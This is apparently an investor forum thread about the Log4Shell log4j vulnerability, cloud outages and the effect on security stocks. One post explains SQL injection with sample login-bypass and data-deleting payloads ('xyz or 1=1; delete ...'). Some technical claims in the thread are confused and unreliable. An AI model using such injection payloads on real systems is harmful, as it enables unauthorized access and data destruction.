Experts are saying this might be the worst security breach in years. Reps from $CRWD and $NET speak out in the following 3 paragraphs.
I would love to hear from some of our cloud experts who post to this board about whether they were called in over this weekend to monitor this situation?
“The internet’s on fire right now,” said Adam Meyers, senior vice president of intelligence at the cybersecurity firm Crowdstrike. “People are scrambling to patch,” he said, “and all kinds of people scrambling to exploit it.” He said Friday morning that in the 12 hours since the bug’s existence was disclosed that it had been “fully weaponized,” meaning malefactors had developed and distributed tools to exploit it.
The flaw may be the worst computer vulnerability discovered in years. It was uncovered in a utility that’s ubiquitous in cloud servers and enterprise software used across industry and government. Unless it is fixed, it grants criminals, spies and programming novices alike easy access to internal networks where they can loot valuable data, plant malware, erase crucial information and much more.
“I’d be hard-pressed to think of a company that’s not at risk,” said Joe Sullivan, chief security officer for Cloudflare, whose online infrastructure protects websites from malicious actors. Untold millions of servers have it installed, and experts said the fallout would not be known for several days.
Researchers reported finding evidence the vulnerability could be exploited in servers run by companies such as Apple, Amazon, Twitter and Cloudflare.
Keeping the above sentence in mind, I have to wonder if any Internet Security poobahs here might know if this might have played a part in all the problems experienced last week in Amazon’s cloud and in other businesses as well?
While some affected services that rely on AWS have been restored, the internet is still a bit slower and more unsteady than usual. The most important app impacted by the outage might be the ones that Amazon employees use. CNBC points out Reddit posts from Amazon Flex, warehouse, and delivery workers who say the apps that keep track of packages, tell them where to go, and generally keep your items on time went down, too.
There have been reports of outages for Disney Plus and Netflix streaming, as well as games like PUBG, League of Legends, and Valorant. We also noticed some problems accessing Amazon.com and other Amazon products like the Alexa AI assistant, Kindle ebooks, Amazon Music, and security cameras from Ring or Wyze. The DownDetector list of services with simultaneous spikes in their outage reports runs off nearly any recognizable name: Tinder, Roku, Coinbase, both Cash App and Venmo, and the list goes on.
My basic understanding is that this is a code issue but extremely serious: a ubiquitous Java library, log4j, has a bad design. The problem is that it executes arbitrary code it sees when it comes in a certain pattern. Being the standard of logging, it is used everywhere, so this is happening everywhere. Probably no less than half the world’s servers are running Java code.
For a simple example, I can post a message on Twitter and potentially plant a ransomware into Twitter’s backend server. Or if I play Minecraft, I can post this code on player chat and plant ransomware into Microsoft’s. As a concrete example, you can change your iPhone device name and gain illegal access to Apple backend server
But the real problem is not ransomware, it’s that most servers are behind firewalls of a company and you can now send arbitrary code to any server that’s talking to the affected server and potentially gain control of the whole system. In other words, if your network security is sub standard, and the bad guys have credentials, then this lets them take control of any server they want.
I do not know how the cloud providers or Cloudflare, Crowdstrike will work to solve this. But I don’t think this is a Cloudflare only problem. In fact you will have the same problem with on-prem.
I believe ZS will benefit from this because Zero Trust will dampen this kind of server to server impact. If you search “zero trust log4j” you can see that ZS just published a marketing article on this on their Germany site 15 hours ago:
But the real problem is not ransomware, it’s that most servers are behind firewalls of a company and you can now send arbitrary code to any server that’s talking to the affected server and potentially gain control of the whole system. In other words, if your network security is sub standard, and the bad guys have credentials, then this lets them take control of any server they want.
-chang88
Change, thanks for that explanation. Here’s something from the OP which moves me to ask, “How can anyone access a web server without any password requirement? In this day and age, how is this possible?”
Knowing this, does this not seem to negate part of your answer “and the bad guys have credetntials” when we are looking at gaining access? I’m learning from you, but does it not seem the bad guys can gain access to all servers infected with this without any need for credentials?
Maybe for those of us not steeped in IT, you could explain how this could happen, or maybe explain the normal protocol for server access by hackers. Thanks for taking time to answer earlier.
These two paragraphs from the OP are what I’m alluding to:
The vulnerability, dubbed ‘Log4Shell,’ was rated 10 on a scale of one to 10 the Apache Software Foundation, which oversees development of the software. Anyone with the exploit can obtain full access to an unpatched computer that uses the software,
Experts said the extreme ease with which the vulnerability lets an attacker access a web server — no password required — is what makes it so dangerous.
You don’t need to have the access to the server to run the code.
Here is simple example:
For usual website, you would need userId and password to login successfully, so when you enter those values and press submit, server runs this code on database:
select * from user where userId = <user-entered-userId> and password = <user-entered-password>.
If these query returns data, that means there is row exists in table with that userId and that password.
Now, imagine you want to hack the system, you can enter ‘abc’ as userId and ‘xyz or 1=1’ as password.
The query at server will be run as:
select * from user where userId = abc and password = xyz or 1 = 1
since 1 = 1 is true, it would return success and the system is hacked, you have entered without correct credentials.
It doesn’t end there, if you know sql, you would know that two statements can be separated by semicolon (;).
Now, I can enter my password as ‘xyz or 1=1; delete * from userId’
If proper security is not placed, this could wipe out all your users…
This is what it means by “running the code on the server” without having access to the server.
How can anyone access a web server without any password requirement? In this day and age, how is this possible?
All computer systems have bugs. That’s the nature of software. (A formal description of this is that “the halting problem is undecidable over Turing machines”.) In general, 100% reliability or perfect security is mathematically impossible. There are always holes, and it is a race between patching them and black hats finding them. Many holes have been patched, but there are always more to be found. Think of it as job security for computer security companies. System reliability is generally very high (well above 99%), but the internet is being relied on more often now for important activities, and so I expect there to be headlines every few years describing the “worst security breach in years”. There are bank robberies every year (with news headlines), and yet most people continue to put money in the bank.
Now, imagine you want to hack the system, you can enter ‘abc’ as userId and ‘xyz or 1=1’ as password. The query at server will be run as: select * from user where userId = abc and password = xyz or 1 = 1
since 1 = 1 is true, it would return success and the system is hacked, you have entered without correct credentials.
It doesn’t end there, if you know sql, you would know that two statements can be separated by semicolon (;).
Now, I can enter my password as ‘xyz or 1=1; delete * from userId’
If proper security is not placed, this could wipe out all your users…
This is really basic SQL Injection 101.
Anyone that is coding data access knows this flaw and scrubs user input for these problems.
In my humble opinion.
Ok, just thought of this code that I use:
Notice the length of characters needed to execute an injection.
“Delete * From Database.Table Where yada yada” or whatever.
So the first thing you do is limit the length of username & password, thus negating any code that could run.
My basic understanding is that this is a code issue but extremely serious: a ubiquitous Java library, log4j, has a bad design. The problem is that it executes arbitrary code it sees when it comes in a certain pattern. Being the standard of logging, it is used everywhere, so this is happening everywhere. Probably no less than half the world’s servers are running Java code.
This whole thing is a perfect FUD-storm which the media (and presumably the market) will milk for all it’s worth. Log4j is decades old, and v1 is not a problem. We still use it where I work. v2 has the problem, but it’s so arcane nobody has come across it until now. It requires a company to use a very specific subset of the log4j2 api that hardly anybody uses PLUS to directly log user input using that api. Clearly some big names use this api, hence the “hair on fire” response, but honestly those big names should have known better, and scrubbed their user input better before logging it verbatim.
Other than the attention it might bring to our security stocks, this is a pretty big nothing burger.
Other than the attention it might bring to our security stocks, this is a pretty big nothing burger.
Well! Minecraft had problem! So I couldn’t shear sheep and kill zombies with my grandson. Can’t really say it was a nothing burger.
While I would not say it was a nothing burger, I did notice a lot of cloud based services either going down or moving into a restricted mode or dropping back to an earlier software edition. I suspect this was IT departments taking precautions and loading back ups and stripping java packs and adding patches.
Hopefully this will get at least some of the companies to quit using the cheapest way to get things done and add more security.
Any basic SQL injection test scan against Log4J should expose this vulnerability. This sounds cruel, but if you do not run scans such as this against your primary services periodically, you deserve to get hacked. That is the best vaccination going forward. I find it really hard to believe this was not discovered until recently so it is now a serious zero day exploit. A LDAP RAC attack from this Java code is the worst. Looks like a couple of our stocks have some exposure (Elastic Search and Cloudflare). I am sure these companies were given the heads up long before the public report and are already patched. But it could be that some of their customers use Log4J and not per se their code.
CISA urges organizations to review its Apache Log4j Vulnerability Guidance webpage and upgrade to Log4j version 2.15.0, or apply the appropriate vendor recommended mitigations immediately. Because Log4j is included in a number of web applications and used by a variety of cloud services, the full scope of this vulnerability won’t be known for some time. However, at the time this blog post was published, some products and services that were confirmed to be vulnerable include: Elastic Search, Cloudflare,…
Log4j and Log4shell 0-day are vulnerabilities discovered in the commonly used Apache Log4j logging utility. It does not merely target Cloudflare or Elastic, it affects just about any application that uses Log4j for its logging, being vendor software or custom applications. BTW version 2.15 was the initial recommended version in response to Log4j, but you need to get to version 2.16 which addresses both vulnerabilities. I patched all the servers under my control within 48 hours of the initial log4j broadcast, and within 4 hours of the log4shell broadcast that followed a day later. Most vendors are notifying their customers immediately as soon as the patch is available, which is why I was able to apply the second patch so quickly.
Many vulnerable systems use off the shelf software that rely on the Apache Log4j functionality. However, only Log4j2, prior to V2.15, and newer versions of Java were vulnerable. Older Log4j1 and older Java were not exploitable, and there are a lot of Log4j1 systems out there. The vulnerability requires that your system uses the JNDI loading feature, which is enabled by default on newer Log4j2 and Java versions, but disabled on older Java. It can also be disabled on command. Furthermore, if your systems are not directly open to the internet, or only accessible via VPN, then hackers can’t get to them without first hacking through your network defenses to get to target them. It’s a real bad exposure, with a CVSS score of 10/10, so it raises the alarm bells to the highest alert level, but it may not be as widespread as the media makes it out to be.
Nevertheless, it is prudent to patch anyway, and it is better from a PR standpoint to assure your customers you take these threats seriously, and that you are fiercely protective of their data and services. So, you just patch your systems, even if it is not absolutely necessary. But you prioritize your highest risk assets first, and then work back from there. No doubt, some will fail to defend quick enough and will become victims, but you have to be seriously hapless or unaware if you haven’t already mobilized your teams fix this exposure. By now, any serious business enterprise that has not yet patched or disabled the exposure is really asking for trouble.
